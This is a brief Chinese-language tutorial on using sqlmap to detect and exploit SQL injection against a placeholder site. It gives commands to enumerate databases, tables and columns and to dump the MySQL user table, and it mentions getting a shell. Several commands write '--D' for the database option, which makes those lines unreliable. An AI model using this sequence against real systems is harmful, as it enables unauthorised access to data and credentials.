sqlmap 使用

sqlmap 是进行sql注入首选的工具,它可以帮助你快速的验证和利用一个sql注入漏洞。你可以在sqlmap的帮助下轻松的利用sql注入漏洞获取数据库数据甚至是getshell。
下载安装

1
git clone https://github.com/sqlmapproject/sqlmap.git

当然,你也可以下载zip包直接解压,地址https://codeload.github.com/sqlmapproject/sqlmap/legacy.zip/master
然后解压出来目录其实就可以直接使用了。
大部分人只需要这么用
直接对一个url进行注入检测,-u参数指定检测的url

1
sqlmap -u "http://sqltest.com/sql1.php?user=jack&id=1"

如果是post的参数:

1
sqlmap -u "http://sqltest.com/sql1.php" --data="user=jack&id=1"

ok,如果输入的参数过多,你可以使用-p来指定具体存在注入的参数,比如指定参数id注入

1
sqlmap -u "http://sqltest.com/sql1.php" --data="user=jack&id=1" -p id

下一步,获取数据库列表

1
sqlmap -u "http://sqltest.com/sql1.php" --data="user=jack&id=1" -p id --dbs

获取指定数据库的表名

1
sqlmap -u "http://sqltest.com/sql1.php" --data="user=jack&id=1" -p id --D mysql --tables

获取指定数据库及指定表的列名

1
sqlmap -u "http://sqltest.com/sql1.php" --data="user=jack&id=1" -p id --D mysql -T user --columns

dump数据

1
sqlmap -u "http://sqltest.com/sql1.php" --data="user=jack&id=1" -p id --D mysql -T user --dump